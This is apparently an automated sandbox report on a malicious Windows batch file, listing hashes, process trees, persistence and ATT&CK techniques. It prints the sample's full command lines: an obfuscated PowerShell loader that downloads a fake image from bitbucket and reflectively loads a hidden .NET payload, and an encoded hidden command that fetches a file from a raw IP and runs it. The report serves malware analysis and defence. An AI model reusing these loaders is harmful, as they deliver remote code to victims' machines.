bac0b67b6a6ffaea1aa1cd97802e9e7f45f6ab68f60dc4ebd71f943848530838

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
09-12-2024 02:46

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General

Target

bac0b67b6a6ffaea1aa1cd97802e9e7f45f6ab68f60dc4ebd71f943848530838.bat
Size

14KB
MD5

7d4fd0768b8cba2af39bf88ba789e27a
SHA1

31315e8bc69d8ff9d3764071b0c9def830dabf58
SHA256

bac0b67b6a6ffaea1aa1cd97802e9e7f45f6ab68f60dc4ebd71f943848530838
SHA512

101971fafe90fa9e703bb4d62208f984fe3162044bf30b2ed16f5cd9dc16d2e9a9770fccd37cfee3796b4f222035418dc0ab79df1a99faeb385889341972c754
SSDEEP

192:7xM/+aHdczpj/j3TG996TG1lyXuMFtOxHlsTdEKxnH9ONGUe7FQGIAAApkF32GAI:7xa9e/zw96TG1uWxFtqHtF0YnMF

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2624	powershell.exe
6	2624	powershell.exe
7	2624	powershell.exe
8	2624	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2308	powershell.exe
2624	powershell.exe
536	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bac0b67b6a6ffaea1aa1cd97802e9e7f45f6ab68f60dc4ebd71f943848530838.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bac0b67b6a6ffaea1aa1cd97802e9e7f45f6ab68f60dc4ebd71f943848530838.bat	cmd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
4	bitbucket.org
5	bitbucket.org
6	bitbucket.org
7	bitbucket.org
8	bitbucket.org

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2308	powershell.exe
2624	powershell.exe
536	powershell.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	772	WMIC.exe
Token: SeSecurityPrivilege	772	WMIC.exe
Token: SeTakeOwnershipPrivilege	772	WMIC.exe
Token: SeLoadDriverPrivilege	772	WMIC.exe
Token: SeSystemProfilePrivilege	772	WMIC.exe
Token: SeSystemtimePrivilege	772	WMIC.exe
Token: SeProfSingleProcessPrivilege	772	WMIC.exe
Token: SeIncBasePriorityPrivilege	772	WMIC.exe
Token: SeCreatePagefilePrivilege	772	WMIC.exe
Token: SeBackupPrivilege	772	WMIC.exe
Token: SeRestorePrivilege	772	WMIC.exe
Token: SeShutdownPrivilege	772	WMIC.exe
Token: SeDebugPrivilege	772	WMIC.exe
Token: SeSystemEnvironmentPrivilege	772	WMIC.exe
Token: SeRemoteShutdownPrivilege	772	WMIC.exe
Token: SeUndockPrivilege	772	WMIC.exe
Token: SeManageVolumePrivilege	772	WMIC.exe
Token: 33	772	WMIC.exe
Token: 34	772	WMIC.exe
Token: 35	772	WMIC.exe
Token: SeIncreaseQuotaPrivilege	772	WMIC.exe
Token: SeSecurityPrivilege	772	WMIC.exe
Token: SeTakeOwnershipPrivilege	772	WMIC.exe
Token: SeLoadDriverPrivilege	772	WMIC.exe
Token: SeSystemProfilePrivilege	772	WMIC.exe
Token: SeSystemtimePrivilege	772	WMIC.exe
Token: SeProfSingleProcessPrivilege	772	WMIC.exe
Token: SeIncBasePriorityPrivilege	772	WMIC.exe
Token: SeCreatePagefilePrivilege	772	WMIC.exe
Token: SeBackupPrivilege	772	WMIC.exe
Token: SeRestorePrivilege	772	WMIC.exe
Token: SeShutdownPrivilege	772	WMIC.exe
Token: SeDebugPrivilege	772	WMIC.exe
Token: SeSystemEnvironmentPrivilege	772	WMIC.exe
Token: SeRemoteShutdownPrivilege	772	WMIC.exe
Token: SeUndockPrivilege	772	WMIC.exe
Token: SeManageVolumePrivilege	772	WMIC.exe
Token: 33	772	WMIC.exe
Token: 34	772	WMIC.exe
Token: 35	772	WMIC.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	536	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2328 wrote to memory of 772	2328	cmd.exe	31
PID 2328 wrote to memory of 772	2328	cmd.exe	31
PID 2328 wrote to memory of 772	2328	cmd.exe	31
PID 2328 wrote to memory of 2468	2328	cmd.exe	32
PID 2328 wrote to memory of 2468	2328	cmd.exe	32
PID 2328 wrote to memory of 2468	2328	cmd.exe	32
PID 2328 wrote to memory of 2308	2328	cmd.exe	34
PID 2328 wrote to memory of 2308	2328	cmd.exe	34
PID 2328 wrote to memory of 2308	2328	cmd.exe	34
PID 2308 wrote to memory of 2624	2308	powershell.exe	35
PID 2308 wrote to memory of 2624	2308	powershell.exe	35
PID 2308 wrote to memory of 2624	2308	powershell.exe	35
PID 2328 wrote to memory of 536	2328	cmd.exe	36
PID 2328 wrote to memory of 536	2328	cmd.exe	36
PID 2328 wrote to memory of 536	2328	cmd.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\bac0b67b6a6ffaea1aa1cd97802e9e7f45f6ab68f60dc4ebd71f943848530838.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2328
- C:\Windows\System32\Wbem\WMIC.exe
  wmic cpu get name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:772
- C:\Windows\system32\find.exe
  find "QEMU"
  2⤵
  PID:2468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#Z#By#DM#N#B3#Gc#Z#Bz#GY#ZwBz#C8#ZgBz#GQ#ZgBz#GQ#cw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#d#Bl#HM#d#Bf#Gk#bQBn#C4#agBw#Gc#Pw#x#DQ#N##x#Dc#Jw#s#C##JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GQ#YQBy#Gs#bQBh#G4#YQBn#GU#cg#v#GQ#YQBy#Gs#bw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#d#Bl#HM#d#Bf#Gk#bQBn#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##s#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#Ck#Ow#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#Ck#Ow#g#CQ#d#B5#H##ZQ#g#D0#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#u#Ec#ZQB0#FQ#eQBw#GU#K##n#HQ#ZQBz#HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#bQBl#HQ#a#Bv#GQ#I##9#C##J#B0#Hk#c#Bl#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#Gw#YQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#Go#YQBm#GI#c#BT#Gs#Lw#y#DY#Lg#y#D##MQ#u#D##Mg#u#DM#M##x#C8#Lw#6#H##d#B0#Gg#Jw#s#C##Jw#w#Cc#L##g#Cc#UwB0#GE#cgB0#HU#c#BO#GE#bQBl#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#w#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('#','A')));powershell.exe $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hdr34wgdsfgs/fsdfsds/downloads/test_img.jpg?14417', 'https://bitbucket.org/darkmanager/darko/downloads/test_img.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.jafbpSk/26.201.02.301//:ptth', '0', 'StartupName', 'RegAsm', '0'))}}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  pOWeRshElL.eXE -EX bYPasS -nOp -W hiDdeN -eC IAAgAGkAUgBtACAACQAtAFUAUgBpACAAKAAdIGgAdAB0AHAAOgAvAC8AMQAwADMALgAyADAALgAxADAAMgAuADYAMgAvADQAMAA0AC4AZABvAB0gIAAJACAACQArACAACQAdIGMAeAAdICAACQApACAALQBvAFUAVABGAEkATABFACAACQAdICQARQBOAFYAOgBhAHAAUABkAGEAdABBAFwAZABvAG4AaABhAG4AZwAuAGQAbwBjAHgAHSAgAAkAOwAgAAkAaQBuAHYATwBrAEUALQBpAFQAZQBtACAAHSAkAEUATgB2ADoAYQBwAHAAZABBAHQAQQBcAGQAbwBuAGgAYQBuAGcALgBkAG8AYwB4AB0g
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T5W7WQAXCSNW71L28V6E.temp

Filesize
7KB

MD5
2b6e1e14f0b713eecaebb940bbcffa02

SHA1
cdee6364e574205084a6b24fdc7725f857dec977

SHA256
53e26ebff66ce0bf92459a973c0971721da9896ce740268f5c90ef7677945167

SHA512
c1f71df8720f5a14b12cabd65cc025c6b8541944ff9d07b92e70844d22c2a597daa0df8e475c73e2bc9c35d969ee8168554a13e8bf61629b94f0346cd4bcde19

Download Submit
memory/536-21-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/536-22-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2308-4-0x000007FEF5FAE000-0x000007FEF5FAF000-memory.dmp

Filesize
4KB

Download
memory/2308-6-0x0000000002890000-0x0000000002898000-memory.dmp

Filesize
32KB

Download
memory/2308-5-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/2308-8-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download
memory/2308-13-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

Filesize
9.6MB

Download